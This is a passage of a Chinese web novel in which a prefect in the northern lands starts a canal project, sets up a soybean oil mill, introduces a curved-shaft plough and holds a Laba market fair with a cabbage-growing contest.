得知这事,赵丰年叹息着,让赵青青尽快统计出李家的地产。 “兼并的土地,找到苦主,应还的尽量都还给百姓。” 赵青青应了声,当天就带着王文还有几个人去度量土地了。 那些被霸占田地的百姓知道后,激动不已,纷纷去求见府衙的官吏。 赵丰年总觉得自己还有一件事忘了,只是眼下也顾不上了,因有了李家缴上来的银子,他终于可以启动挖河道的计划了,他还给这个计划取了一个好听的名字。 “玉带子河引流计划?” 看着自家知府大人一脸自得,杨菱实在不忍心说这个名字其实真的平平无奇。 “此名确实通俗易懂,是极好的……” 罢了,也不过一个名字而已。 而等赵丰年解释完整个计划,杨菱顿时坐不住了,去他的“玉带子河引流计划”!这么普普通通的名字怎么配得上他家大人这么伟大的政策呢! “大人,咱们要做的是一件功在千秋的大事,既然是从玉带子河挖条运河过来,北地百姓都认为玉带子河是天上来的,不如叫做‘天河计划’如何?” “天河计划”受到了所有人的赞同。 赵丰年有些受挫,不过还是采纳了杨菱的意见。 事后,杨菱问赵青青,“赵典吏,大人是不是不高兴了?其实用大人取的名字也好,毕竟百姓们一听就懂了,大人重伤初愈,我实在不该驳了他的想法。” 赵青青只笑了笑,“杨知事此言差矣,从前头“和睦渠”,到“阿吉”、“阿详”,我以为杨知事也应该知道了,大人实则是不擅长取名的,既如此,我们这些做下属的,自当为大人分忧,再者,杨知事不妨想想,倘若是将来史书记载,说大人携我等定下‘玉带子河引流计划’……” 杨知事浑身一抖,正了色。 “赵典吏所言极是,我等还是要多为大人分忧才是!” 赵青青微笑。 而赵有志围观了这一幕,直接瞪大了双眼。 “你当真是,是——” “善解人意?多谢夸奖。”赵青青斜了他一眼,轻移莲步,离开了。 只留下赵有志风中凌乱。 第二天,北定府各县就接到了通知,前往府城参会。 这可是赵丰年“受重伤”后第一次举行的全员会议,会议主题只有两点。 一是,各县以县衙为据点,按市价回收百姓大豆,二是启动天河计划。 起初鼓励百姓们种大豆的时候就让各县跟百姓们签了契约,无论种出来多少,官府都会回收。 上个月不出所料,大豆收获不错, 要不是碰到了赵丰年被刺杀这事,百姓们肯定更加开心。 如今事情解决了,大豆的事自然也是要提上日程的。 赵丰年前两天跟赵来贵柳大尺聊了聊,让赵来贵把制油厂开起来,依旧担任厂长。 赵来贵起先在赵家村已经做到了厂长,先前下定了主意要陪着女儿女婿一起来北地生活,也是下了很大的决心,赵丰年出事之前,赵有贵还在跟媳妇琢磨能做点什么生意,如今一听赵丰年让他开制油厂,二话不说就应了下来。 制油厂对他来说已经是轻车熟路了,有女婿柳大尺帮忙,又有府衙的支持,这他还能做不好,也不用做其他事,干脆收拾东西回临县得了。 这回收的大豆都会卖给制油厂作为原料。 第一年担心百姓们不放心,由官府出面收大豆,如今百姓们知道了大豆的好,等看到制油厂收大豆,明年就不用官府再出面也会主动种大豆了。 制油厂势必能带动北地经济发展,赵丰年无比肯定,众人自然也都没有意见,只是对于制油厂选址,却起了些争执。 何县丞认为他们小河县种植面积大,大豆也种得多,制油厂理应放在他们县,而拓九坚决不同意。 “你都说了,你们县地多,那肯定是种不过来了,既然这么辛苦,哪里有那闲功夫去制油,厂?对,制油厂干活,我们县就不一样了,地不多,羊群也好管理,都不用多少人手,多余的人正好去制油厂上贡!” 赵丰年笑着纠正,“是‘上工’。” 何止是小河县跟牧县,就是其他人也眼热,谁叫赵丰年请来了赵来贵跟众人介绍了一遍赵家村制油厂呢,大家就是起初不明白什么厂不厂的,听完就知道了。 一个能赚钱的好作坊! 赵丰年是更倾向制油厂安排在小河县的,毕竟也要考虑原材料运输成本。 “大人你偏心,这有什么远的,如今有了丰渠,从小河县到我们牧县,走水路不到半天功夫就到了!” 沙沙县跟犁丘县也很心动,只是沙不多胆小,不敢跟小河县、牧县争,不过令他惊奇的是,一向什么好东西都要往自家抢的莫县令竟然从始至终没有开口,不禁感到好奇。 莫东西瞟了他一眼,“这个虽然也是好东西,但是我们县也会有更好的东西,我又不是什么都抢的。” 沙不多十分羡慕莫县令的豁达,却冷不丁听到了自己的名字。 “是,是大人?” “沙县令不必惊慌,本官是想问问你,你们沙沙县可有什么想法?” 沙县令茫然无措,“赵大人,我们县大豆种的没有小河县多啊……” 赵丰年点点头,“你们县当前种的是不多,但是沙沙县土壤确是十分适合种植大豆,原料上是不缺的,本官的意思是,回头等制油厂做起来了,你挑几个人,去制油厂学习,说不定明年也能再开一家属于沙沙县的制油厂。” 沙不多当即双眼放光,“好,好的大人,我,不,下官回去就告诉大家伙这个好消息!” 北地第一家制油厂最终落户小河县。 而赵丰年也提到了第二个议题。 “……玉带子河上游水量丰富,挖出一条运河连通北地,并不影响下游水量,还是跟挖沟渠一样,每家最好出一个壮丁,条件也跟挖沟渠一样,管两顿干饭,根据最低工作量按日结算酬劳,这是一项长期计划,府衙经过反复推敲,定为五年完成,取名‘天河计划’。” 赵丰年刚说完,底下一片安静。 “好,赵大人,我也去挖!”拓九第一个打破了安静。 众人听完只觉得心情澎湃,似乎已经看到了一条大河波光粼粼地横亘在北地的大地上。 会议结束后,冷存真留了下来。 “冷县令找本官还有事?” 冷存真直接给赵丰年行了一个大礼。 “冷县令这是做什么?倒是叫本官不甚明白了。” “大人大义,此前是我行事不懂变通,多有得罪,大人要如何处罚下官,下官都认。” 赵丰年没回他这句话,“听闻,冷大人是天元十五年的士?” “正是。” “冷县令,世人寒窗苦读数十载,所求无非是高官厚禄,知己红颜,抑或是为民请命,报效朝廷,不知冷县令是哪一种?” 冷存真俯首再拜,“为民请命,报效朝廷,乃吾之夙愿。” 冷存真走后,赵丰年翻着一本帐本,赵青青走了过来。 “看来,冷大人也算是身不由己了。” 赵丰年笑,“能在五个县里为百姓保住最多的粮食,自然是坏不到哪里去,更何况,冷存真此人,有自己的傲气,他能跟盛富贵等人虚与委蛇,却做不来惟命是从,否则也不会记下这本帐本了,这帐本也跟着信一起送去京城吧。” 赵青青点点头。 “话说,最近怎么没瞧见胖哥?” “他还愧疚着,说是要去牧县帮忙挖河渠,以此惩罚自己,等他什么时候想通了,自然就回来了。” 赵丰年便明白了,赵大胖这是跟当初赵来富一样,钻了牛角尖了,不过,就跟那时候赵来贺说的那样,人迟早能想明白,然后走出来,心情更加开阔。 各县官员回去后,立马发了公告,解释说明了“天河计划”。 得知知府大人要召集人手挖人工河引水,牧县跟小河县百姓见怪不怪,反而觉得又能赚钱了,其他县百姓便有些不安了。 老实说,这要不是赵丰年提出来的,百姓们早就惊恐一片了,正是因为这是赵丰年提出来的,百姓们才愿意听县衙派到各村解释政令的小吏说话,待弄明白是为了引水进北地,百姓们一听就觉得不可能,依旧陷入了对劳役的恐慌中。 “这不还是服劳役嘛?我家可就一个男丁干活,要是去了,留下我们几个老的老,小的小,这日子可要怎么过啊!” “我家两个儿子,这去谁都舍不得,怎么就要服徭役了呢?” 那小吏连忙解释,“你们误会了,虽是说让一家出一个壮丁去挖河道,但是官府是给钱的!不叫白做,不光给钱,还包两顿干饭呢!” “啥?给钱?这位差大人别是哄我们吧?哪有服劳役还给钱的。” “那也要看是谁下的令啊,这个计划可是咱们知府赵大人提出来的!赵大人说好东西,你们还不信嘛?知府大人什么时候亏待过百姓们了?” 这时候就有人提出了小河县跟牧县前头挖沟渠的事。 “我那亲戚就是小河县的,他确实说他们挖引水渠能有钱拿,干得多的,一天能挣十几文呢,更别提包两顿干饭了。” “听说牧县也是这样,那不就是出去干活赚钱嘛?” 当换了一种思路后,百姓们顿时上了心了,七嘴八舌地就问了起来。 小吏也连忙回答着百姓们各种问题。 “工钱怎么发的?一天发一次嘛?” “要挖多少才给钱啊?我挖不完不会扣我的铜钱吧?” “只能男人去吗?我家女人多,力气也大,能不能也去赚钱?” “是一家只能去一个?能不能多去两个?” 就在村各县组织人手挖河道的时候,小河县这边,何县城直接批了一块地给制油厂。 “这屋主原先也是做生意的,倒腾布料,所以弄了一个大院子,只不过后面生意不好,就离开了,托了人卖这屋子,算起来都空了有大半年了,正好给你们了。” 当然不是白给,就是何县丞愿意,赵来贵也不敢收,只跟小河县衙签了契书,以一个十分不错的低价拿下了这块地,当然,小河县也不是没得到好处的,后续制油厂的商税要交给小河县衙不说,就是招人,也要承诺小河县百姓为主。 而这个时候,小河县的百姓才发现县城外多了一家奇怪的名字的作坊。 第70章 第70章发展中 地方有了,前些日子柳大尺也把榨油工具做了出来。 说起做木匠活,光靠他一个人自然不行,找的是府城的木匠,还是老熟人,陆木匠。 赵丰年觉得陆木匠技艺娴熟,也颇有匠人的钻研精神,日前已经请他成为了工房的典吏,得知赵丰年又有新的东西要做,陆木匠也很爽快地应了下来。 陆木匠还有个侄子,不出几日,就带着侄子跟柳大尺做出了三套榨油工具。 小河县的百姓只看到那间带大院子的屋子终于卖出去了,人来人往,又运了不少大家伙进去,瞧着是要有大动作了,谁成想,没过几日,就看到了他们小河县的何县丞跟另外几个大人出现在了那边,那几位大家也都眼熟,仔细一瞧,不是知府大人又是谁! 这一打听才知道,这里面是府衙跟县城扶持的一个叫做什么制油厂的地方。 百姓们不知道什么叫做制油厂,但是他们知道油啊,立马就知道这是家卖油生意的铺子作坊。 “只是卖油的不就是卖肉的嘛?怎么没看见养猪,倒是弄了一大堆木头疙瘩进去了?” “木头疙瘩也是好东西,没看我们小河县如今到处立着的水车嘛?先前知府大人带着人运过来的时候,也说是木头疙瘩呢!” “那我可要经常去那边转转,看看到底啥好东西。” 过了几日,百姓们再经过那边的时候,却发现那叫做制油厂的作坊招人了。 “要招人呢,要十二个力气大的壮汉,还要两个厨子,会识字的优先!一个月给二钱银子呢!还包三顿饭,不过不包住。” “包吃就不错了,老天爷,这一个月能拿二百个大钱呢!” “做个饭还要会认字呢?这要求也太难了。” “一月二百文?真有这样的好事?!” “我家的倒是力气大,可是不识字啊。” “不识字的优先,也许不强求呢!” “孙家阿嫂做饭是一把好手,倒是可以试试去做厨子!” 制油厂的招人消息瞬间引起小河县的关注。 小河县流水县孙家,孙阿嫂正在院子里翻着一把大豆,听到篱笆墙外有人喊自己,忙回过头去瞧,却见同村的一个妇人正朝这边走过来。 “你在家就太好了,走走走,赶紧的,那新开的制油厂作坊招人呢,你赶紧去试试!一个月给二百文大钱呢!” 孙阿嫂还没反应过来,听到二百文钱先是吃了一惊。 “她二婶,什么二百文钱?” 那妇人一拍大腿,“嗨,瞧我,都忘记给你解释了,就是那县城外头新搬来的那屋子主人,人家是做什么油的,弄了个作坊,名字奇奇怪怪的,但是知府大人跟咱何大人都去瞧了,今日贴出告示来,说要招人干活呢,说是要力气大的!” 孙阿嫂的女儿听到动静走了出来,听见这番话就笑了,“金二婶,您这是找错人了吧,我娘哪里能干得了卖力气的活?” “哎哎,是我没讲清楚,说是也要招两个厨子,给那帮卖力气的做饭呢!我一听他们说就想到你了,你做饭的手艺那是没得说的,肯定能挣得上!” 孙阿嫂一听,还真有可能,当即就让那妇人带自己去瞧瞧。 这样的事还发生在其他人家。 “那制油厂招人,要力气大的,咱家老大刚好可以去试试!” “一个月能给一百五十文,打着灯笼也找不到的,肯定要去瞧瞧!” 在一个月给二百文工钱的刺激下,制油厂很快就招满了人,孙阿嫂赫然在列。 赵来贵跟柳大尺是考虑过这个工钱的,虽说临县那边,制油厂都给到了六钱银子,那管事组长更是一两银子,年底还有分红,只是北地刚起步,工钱本来就比旁出低,一上来就给太高,反而不好,二钱银子已经足够刺激百姓,同时,往后还有上涨的空间,也好让制油厂的人都动起来。 只是他们实在是高估了北地的人力成本,百姓就是一月给一百文都要激动的,更何况是整整二百两呢,来到了制油厂后,也是十分积极干活,生怕丢了这一个月能赚二百文工钱的活。 就这样,很快,制油厂就开始运作起来了,而去了制油厂的人也才知道,原来制油厂不养猪不买肉,那黄澄澄的油,竟然是拿大豆做的。 “这剩下的豆渣也是好东西,不仅能做豆肥,还能做饲料,不如你们问问牧县那边用不用得上,也省得浪费了。” 赵丰年有一回来制油厂视察的时候,看着堆满的豆渣忽然想到。 以前在赵家村,制油厂的豆渣都低价半卖半送给村里人养牲畜,也有没养牲畜的直接做成豆肥,都是好的。 赵小云眼前一亮,“你说的太有道理了!那我下午就去趟牧县!” 柳大尺因为还要顾着商队的事,因此,赵小云索性接过了担子,跟赵来贵一起管起了制油厂 眼见制油厂跟挖河道那边都走上了正轨,赵丰年也在这时候,把赵有志找了过来。 “关于在北地办学堂的事,你可以多去五树县走走,跟冷存真聊一聊。” 赵有志迟疑,“他不是那什么,跟那些人一伙儿的嘛?” “不算是,他是天元十五年的进士,有真才实学,你前些日子不是在看卷宗?可有发现他来了北地后做的第一件事是什么?” 赵有志恍然大悟,“是推行私塾,不过后面被当地毫绅给压了下来,再后面就没有记载了。” “后面他就去了五树县,偏安一隅,明哲保身,但我相信,他心里有成算,因此,你若是想做好这件事,尽可寻冷存真,杨知事前些日子跟那边打得火热,可为你从中说和。” 赵有志得了准话,马上就找到了杨菱,而杨菱得知此事,也十分激动。 “是极是极,北地是该有自己的官学了。” 将这件事交给赵有志后,赵丰年开始画起了图纸。 等赵青青找到人的时候,是在工房。 “原来如此,原先的犁耕地时,常常需要回头转弯,总归是不大灵活方便,而将直辕改为曲辕,犁头的犁盘又可以自由转动,这样一眼,再转弯时就灵活省力多了,大人真是心思灵巧!” “这也并非是我想出来的,是某地的百姓们的巧思,我不过借鉴一二,总之,陆师傅,还要麻烦你跟大家这些日子辛苦些,做出两架来。” “不敢,大人几时候要用?” “三日后吧,三日后运一架去小河村示范,等各县统计数量,这些都要提前做出来,才不耽误了明年的春耕。” “那小人明白了,大人放心。” 赵青青等他们说完方才笑着走了过去。 “大人,这是方才柳掌柜交过来的参会商户名册。” 陆木匠见他们有事商量,便带着侄子忙去了。 赵丰年翻完名册,满意不已。 李家跟盛富贵倒了后,这北地的不安定因素就没了大部分,至少,从表面来看是这样没错。 过去一年里,百姓经历了太多,赵丰年私以为,无论是百姓们,还是官员们,都迫切需要一场仪式来庆祝,告别过去,迎接未来。 当赵丰年在晚饭桌上提出这事,赵来贺还在帮忙想主意,巧娘却见怪不怪,“什么最开心?那肯定是赶集了,尤其是过年那会儿,一想到能去赶集,往家里搬那些东西,单单想着就叫人开心又满足了。” 赵丰年当即双眼一亮,“娘,你说的对,那咱们就办一场大集,至于日子,就定在腊八吧。” 于是赵丰年便让柳大统计好愿意参加腊八大集的商家,参会的商家要在这一日推出各种各样调动气氛的活动,而衙门会结合各方面对这天表现最高的商户发下嘉奖,更是免除这一日的税收。 有这句话在前面吊着,商户们自然都踊跃报名了。 不过,赵丰年提出对商户进行嘉奖,却还有另外一个目的。 李家倒台后,北地的商户隐约以王家为首,这却并不是赵丰年想看到的,是以,这次也是为了再提拔几家商户出来。 赵丰年这里召开会议,跟众人商定细节,而王家,王家主也在叮嘱下面的族人。 “不可拔得头筹?这是为何?” “对啊,想我们王家一直被李家压一头,如今李家没了,我们自然是要担起责任来,也好叫大家都知道,谁才是北地的大商。” 王家主却摇摇头,“那我们王家只怕要步李家后尘了。” 见族人不懂,王家主解释, “我问你们,要是你们是知府大人,你们能愿意辖地出现一家独大嘛?我们王家并非一丝污点都没有,只不过站对了地方,知府大人知道我们王家是个识趣又能关键时候替衙门分忧,这才是我们逃过一劫的缘由,倘若我们一家独大,所谓树大招风,那就该到了知府大人收拾我们的时候了。” 众人被这番话吓住了,王家主却又笑了,“也不用太担心,只不过退一步,让其他商户也有个出头的机会罢了,我们王家也不是谁都能撼动的。” 倘若是赵丰年知道王家主这般识趣,定会放心不已。 三日后,曲辕犁也做好了,正当赵丰年兴冲冲准备带着人去小河县试新农具之时,却被赵青青拦了下来。 “大人大病初愈,还是虚弱的时候,大人关心百姓不顾及自己的身体我们自是拦不住的,只是骑马去就是不将百姓们的担忧放在心里了。” 赵丰年了然,“行,听你的,来人,备轿——” 近来赵又志跟杨菱一直待在五树县,前两天得知赵丰年今日要去小河县试验新农具,昨日连忙赶了回来,好一起去瞧个热闹,此时看见了赵青青这番话,当即嘴角抽搐。 “你真像那话本里的一肚子坏水的大贪官。” 赵青青转头朝着他微微一笑,“难怪你考不上秀才,原来尽看话本去了。” 赵有志:“” 杨菱路过,拍了拍他肩膀。 “你说你,说又说不过赵典吏,何必呢?” 赵又志:谢谢,更气了。 小河县的百姓听说知府大人又带来了好玩意,立马冲到流水村围观去了。 没错,这一站还是流水县,谁叫都是老熟人了呢。 等百姓们瞧见赵丰年从轿子里走出来,一脸苍白虚弱模样,心里骂了盛富贵跟李家一遍又一遍,随即而来的便是深深的感动了。 知府大人伤还没好全就急着操心我们种地了。 这是所有前来瞧热闹的百姓心里的感叹声。 而等看到知府大人点了一个干瘦的汉子出来,让他将东西套到了牛身上,开始耕地,众人起先还不明白是做什么,随着那速度越来越快,土地轻轻松松难过被掀起,毕竟都是庄稼把式,大家就看明白了。 “这东西好灵巧,陈小牛瘦瘦小小的,却轻轻松松推着就翻好了!” “还不止呢,你们瞧那翻出的土,还是潮的,可见翻得也深!” “有了这个,明年地里哪怕是还没完全解冻,都不怕翻地了!” 百姓们眼红心热地瞧着曲辕犁,恨不得自己跳下去犁一个来回。 而聪明人已经在留意着知府大人跟何县丞的谈话了。 “图纸在陆木匠那边,稍后本官会通知各县,你们各自派人去府城工房学习制作,最好是由官府出面,毕竟一架曲辕犁的造价在一两银二钱,普通百姓怕是负担不起,不如由官府做出一批,然后各村统计土地及人数,前往县衙租赁,耕牛也一样,说起来,也是前面忙糊涂了,又碰上了不少事,这耕牛是本官派人在北地外头买来的,不多,已经送了一部分去牧县培育,剩下的三十只,只能各县分一分。” 昨日就通知了各县衙今日派人来看新农具,也好一起吩咐下去,如今,何县丞听得两眼泪汪汪,其他县官员也是眼热。 “好东西啊,真是好东西。” “我们县也能用啊?知府大人实在是大好人啊。” “你们只管用吧,我们县已经有五只母牛怀上了,等到明年,说不准我们县就不缺牛用了。” “民之利器。” 百姓们可不管这么多,只想着明年就能用上了!除此之外—— “都怪那盛贼李贼,要不是他们,知府大人早就把耕牛给咱们用了!” 北地的冬季种不了粮食,赵丰年就想起了原先让百姓开垦的菜园子。 在第二天的关于腊八节集市会议上,赵丰年提出了要调动百姓种植菜园子的积极性,众人纷纷提出想法,最后是王文的主意被采纳了。 “咱们可以举办一个比赛,参加的百姓带来家中种得最好最壮的菘菜,比出头名,予以嘉奖。” 赵丰年感到很欣慰。 “不过也不能只有给头名嘉奖,毕竟百姓们来一趟不容易,就设前三名,另加十名鼓励奖,其余来参与的,都给安慰奖。” 杨菱笑了,“倒是个好法子,百姓们也都能凑个热闹,只是不知这奖项大人准备如何设立?” “头三名能获得明年春耕优先租赁牛、犁的权利,第一名免租金,第二名免一半,第三名再免一半,至于鼓励奖跟安慰奖,你们也都一起再想想。” 各县城得了信也是立马将这场活动告诉了下面的百姓们,百姓们早已知道腊八节府城有大集,也早就准备好当天一个村里一起去,如今听到说还有这么个比赛,瞧着还剩下小半个月,顿时,各县的百姓都将目光瞄准了自家菜园子里的菘菜。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 70-80 第71章 第71章赶大集 很快就到了腊八节,这天,府城的几条大街一扫往日的沉闷,整条街都开始张灯结彩了起来。 去年一家子刚到北地的时候,还没落下脚来,因此去年过年也过得匆忙,这一直都是巧娘心中的意难平,今年经历了这么多事,巧娘就想着这回一定要好好热闹一番才好。 得知赵丰年这几日都没什么事,巧娘当即就准备拉着人一起去赶集了。 “你自己弄出来的东西,也正好去看看弄得好不好不是?” 最近的事都已经安排下去了,赵丰年今日本来也没什么事,闻言既无奈又愧疚。 自从来了北地,他整日忙着这个那个,已经很久没有好好陪爹娘了。 前些日子,为了他受重伤的消息更加真实可靠,他们便连巧娘跟赵来贺都是瞒着的,巧娘跟赵来贺但是是真的忧心不已,即便是他后面告诉了他们实情,也弥补不了他们曾经收到的伤害。 如今只是这么一个小小的心愿,还要她来问他,怎么能让赵丰年不愧疚。 “娘,对不起,是我不孝,忽略了你们,我该早些陪你们去街上逛逛的。” “这孩子,说什么呢,你是知府,自然有自己的事要做,我跟你爹不能帮你别的,这样看着你就很欣慰了,再说了,我可听说了,我儿子是个顶顶厉害的好官!那好官成天去街上溜达像话嘛!” 赵丰年柔了一双眸子,最后索性给衙门的人都放了假,除了维护治安的,都放出去逛腊八节的集市了,而他这边,也陪着巧娘赵来贺几人准备去集市看看。 集市入口人群涌动,已经停了不少牛车、驴车了,还有专门看车的伙计,一辆车二文钱,赚得就是个场地费。 赵丰年笑了,心想,这就是古代的停车场啊,果然是哪里有需求哪里就有市场,原先的北地可没这些东西。 进入集市后,人就更多了,不光是商户,更多的是小商贩。 巧娘看着各种各样的摊子,拉着翠翠,惊喜不已,“来这地方一年多了,几时见到过这么多花样的,这才真有了些在临县那会儿的模样,集市上就该是这样,闹哄哄的,可是喜庆!翠翠快来,这木簪子雕得好!” “这位夫人真有眼光,这雕的桃花,咱们北地可见 不着的,您家姑娘生的好看,戴这桃花簪更好看了!” 巧娘笑着在赵翠翠头上比划了几下,“好看,买了!” “婶娘也买。” “好,我也买一根,咱娘俩一人一根,不给你姐姐买,回头叫她羡慕去!” “嗯嗯。” 一家人正出门的时候,前衙来传话说牧县县令有事找赵青青,赵丰年自然知道怎么一回事,索性就说他们先去。 巧娘还以为赵青青这个时候还要忙着公干呢,又是心疼又是埋怨,竟使起了性子。 两人买了簪子,又打算继续前进的时候,却看到了一家铺子前围了不少人,当即好奇不已。 那小贩笑着给他们介绍,“那是做腊八节活动呢,您几位瞧,那铺头挂着‘八’字幡的,就是这次腊八节集会参与活动的商家了,您几位倘若是去这样的店里买东西啊,记得问里头伙计拿一张票子,集齐了十张票子,就能在街尾兑换处兑换一样大奖了!花的银子越多,奖品越丰厚呢!” 巧娘当即来了兴趣,“啥大奖呢?怎么还有两样的,那头那家怎么有两个‘八’字的呢?” “夫人这就问到点子上了,那两个‘八’的是衙门钦点的模范商户,是去年响应知府大人号召给咱们老百姓便宜粮的良心商户,大家都说了,知府大人特意题字,不仅是因为今日是腊八节,更是寓意发财呢!您去门头挂了两个‘八’的,能得两张票子,不过什么奖这个就不知道了,倒是还没听说谁兑换了,但是肯定是好东西没错的,毕竟这个活动可是咱知府大人提出来的,那还能有不好的?” 巧娘几人当即就意味深长地看了赵丰年一眼。 赵丰年只笑了笑,“娘,爹,你们要是好奇,咱们也凑个热闹就是了。” 赵丰年只是提出了这个方案,他可不知道那些商家最后定的什么奖品。 巧娘没凑这个热闹,倒是赵有志,一听这话,立马就跟着人群挤了进去,出来的时候抱着一盒点心,并一张红票笑得一脸满足。 见赵丰年看过来,先是笑容一僵,随机又抬高了声音,“怎么了,快过年了,我给家里买点东西送回去不行啊!” 赵丰年没说话,倒是巧娘赵来贺瞧了,都夸他懂事了,说得赵有志瞬间脸红了一大片。 一家人走走停停,很快就来到了制油厂的油铺,赵来贵见赵有志手里拿着几张红票,还抱着一堆东西,忙跟吴菊香将他手里的东西都接了过来安置好,完了又给他塞了一张。 “这活动确实有意思,这不是,小云跟大尺也出去逛去了,也说要集齐十张票子兑换一个沾沾喜气呢,你如今几张了?不够的话我去隔壁粮铺给你讨一张来,他们家能得两张呢!” “算上贵二伯这张,就不缺了。”赵有志美滋滋。 “好好好,你们逛了这么久也累了,不如先去后头歇歇脚,各县的人都是赶了一大早就来的,这会儿外头人正多着呢,正好一会儿商会要派人给各商户发腊八粥,你们一人喝一碗再走。” 巧娘赵来贺自然没意见,赵有志则是急着去兑换自己的大奖,先过去了,只等一会儿再回来跟大家一起汇合。 赵有志很快就回来了,只是却是空着手的。 “怎么?大奖没了?”赵丰年调侃。 赵有志摇摇头,半是疑惑半是怀疑地看着赵丰年,“你知道,赵青青跟那个,牧县县令的事吗?” 赵丰年挑眉,“怎么,你撞见他们了?” 何止是撞见啊,直接都听到了! 赵有志恍恍惚惚。 就在方才,赵有志兴冲冲去兑奖的时候,半路上看到了一个熟悉的身影,仔细一看,不是赵青青又是谁。 只是,赵青青却是跟牧县县令拓九一起的,两人正站在一个摊子前说着话。 “这根簪子好看,十分适合赵典吏这样的女子。” “拓大人,如今不在衙门,也不是公干,不必叫我赵典吏。” “那,那我叫你青、青姑娘可好?” “自然可以。” “既然这样,青、青姑娘,你也别叫我大人了,你叫我拓九吧,或者,你也可以叫我阿九,我娘以前就这样叫我” 赵青青没有说话。 “没关系没关系,你不乐意叫也没事,不打紧!” “我们那里都称公子,不若在外头我称呼拓大人为拓公子如何?” “好,极好的” 赵有志毕竟已经成亲了,是过来人,这点都看不明白就当真是眼瞎心盲了,当即震惊得连兑奖都忘记了,直接就跑回了油铺。 “他们有什么事吗?” “你看不出来吗?那个拓九喜欢赵青青啊!”赵有志激动不已。 “所以呢?” “啊?就是,就是,他怎么能喜欢赵青青呢,他毕竟是,是——”赵有志半天说不出个所以然来。 “是北地人,更是大夏人。” 赵有志对上赵丰年的笑容,当即打了个冷颤,激动的头脑也冷静了下来。 确实是大夏人,也确实没什么不可以的。 这时候,商会给各商家发的腊八粥到了,赵来贵吴菊香招呼着大家喝粥。 赵丰年拍了拍赵有志肩膀,“喝粥吧。” 喝腊八粥的时候,赵青青跟拓九也找到了油铺。 “多谢拓公子一路相送,既然是我已经找到了家人,那便不多留公子了。” 赵丰年眼瞅着拓九变得丧气,而他青姐却毫无反应,忍不住都为他掬了一把同情泪,当即喊住了人。 “拓县令一会儿还有其他事?倘若是没有,不如稍后跟我们一起走,一会儿去瞧瞧菘菜比赛,刚好我也有些事想跟拓县令商议。” 之间拓九一瞬间双眼放光,“没事没事,既然大人邀请我,我肯定一起!不过,大人,你叫我名字就行了!” 赵丰年笑了笑,“那你也直接喊我名字吧。” 菘菜比赛那边今日是王文负责,他们去的时候,已经选出了前三名,前两名都来自小河香,但是令众人惊讶的是,竟然有一个来自沙沙县。 “原来是他。”赵青青笑了,见几人看过来,便解释道,“沙县令的侄子,叫做沙大头,有志哥应该很熟悉了。” 赵有志在沙大头家可是住了小两个月了,自然是熟悉的,见他得了第三名,也十分替他感到高兴,当即就过去打招呼了。 小河县地理位置优越,种出来的菘菜品质好,个头大,这没什么好说的,只是沙沙县能种出这样好的菘菜就真的是靠技术了,虽然是第三名,但是在一众小河县、犁丘县、五树县中,出现一个沙沙县,就很惹眼了,是以,周围看热闹的百姓们都七嘴八舌说开了。 “沙沙县的地贫瘠得很呢,竟然能种出这么水灵灵的菘菜来,真是难以想象!” “不过也就一家,可见还是贫瘠的,就是不知道是不是这家人有啥诀窍在里头了。” “一会儿是不是有前面说的什么获奖感言,到时候听一听,要是有道理,回头咱们都试一试。” 不一会儿,前三跟前十就都已经都排出来了,王文笑容满面地请了获得前三的人上台领奖。 这个比赛就在市集一处空地,为了有比赛的氛围,还特意用了两根竹竿子立起了横幅,搭建了一个平台,上面写着“北地第一届菘菜大赛”,是赵丰年亲自题的字。 此时,沙不多跟两个小河县的村民站在了一块儿,脸上还带着腼腆。 王文知道百姓们想听什么,于是,例行的赞扬后,重点问起了沙大头。 “沙大头,方才你也听到了,大家都对你能种出这么好的菘菜好奇,你们家在沙沙县,土地贫瘠,是有什么独家秘方吗?” 沙大头腼腆一笑,挠挠头,“就是用了知府大人教的堆肥,我们兑了水,平日里浇水就用上,加上多松土,有野草就扯了,好好养就养大了。” 这时候小河县的两人也说自家用了不少的肥,三人顿时在台上就交流了起来。 围观的百姓听说了后,也议论 开了, “竟然是因为堆肥,还能用在菜园子里呢,我家只用在了麦子上。” “可不是,我们也是。” “那回头可要好好用起来了,兑了水也用不了太多。” 无论是王文,还是底下听到的赵青青,都对沙大头这个回答及当下的局面满意不已。 王文当即宣布了奖励,得知前三名能明年优先使用耕牛和知府大人新发明的犁,还能有优惠价,众人都羡慕不已,那三家人也是惊喜不已。 到了那十名鼓励奖,是每家发了两斤的豆种,而参与奖则是一家一斤豆种了。 这些奖励让参加的还有没参加的都十分满意,百姓心目中最重要的是什么,那就是粮食啊,能白得一斤豆子已经不错了! 发完奖励,商会又送来了友情赞助的腊八粥送给前十的参赛者,让一众没进入前十的下定决心来年一定好好种菘菜,别说奖励,就是这众人羡慕的目光都值得他们凭一把了 如此一来,北地第一届菘菜大赛正式落下了帷幕。 比赛结束的时候,那些菘菜也没浪费,当即就被冲上来的府城百姓抢购一空了,沙大头看着手里被塞的一钱银子,整个人都是懵的。 往日里菘菜能卖个两文钱就不错了,今天竟然是人家抢着要买自家的菘菜,直接给塞了一钱银子就给抱走了,那副生怕被别人抢走的样子也让沙大头不禁感叹,府城的人还是有钱! 腊八节大集办得十分成功,百姓商家都满意,赵丰年也从中看到了两家商户的潜力,大集结束后,对这两家进行了嘉奖,不论这两家如何欣喜若狂,风光无限,以王家主为首的王家人都是依旧是一派笑容可掬的模样,也叫其他人都高看了一眼,赵丰年更是对王家满意不已。 “王家确实不错,不忘初心,也知晓收敛锋芒。” 腊八节后,很快就要进入年节了,百姓们在对腊八节赶集当天还回味无穷之时,北地也迎来了入冬后的第一场雪。 “瑞雪兆丰年,明年要有个好收成了。” 赵来贺乐呵呵地看着鹅毛般的大雪扑簌簌地落下来,给赵丰年的暖炉里添了两块碳。 赵丰年接过暖炉,坐在院子里看雪,闻着后厨传来的炸肉丸的香气,忽然就想起了还在临县赵家村的那会儿。 时间过得飞快,却好像一切又没有什么变化,人也还是那些人。 而今年京城的年礼也到了。 巧娘将一个装满书信的木匣子递给赵丰年,开始清点那些年礼,“傅家的,小顾的,还有张大人家,齐家的,吃的喝的用的,都是上好的东西,我就知道咱们的礼轻了!” “都是跟宝儿交好的,也都知道咱们是个什么情况,不会怪我们失礼的。” “明年我一定要从一入夏就开始始准备,别的不说,那些皮子在京城也算是拿得出手了,夏天的皮子便宜呢,就是可惜今年得的不多。” “这里也没有什么拿得出手的,总归是我们的一番心意,心意到了就行。” 赵丰年回书房,打开信一个个看了过去,却从顾子升的信里得知了一件事。 朝廷要派钦差来北地了。 第72章 第72章新的一年 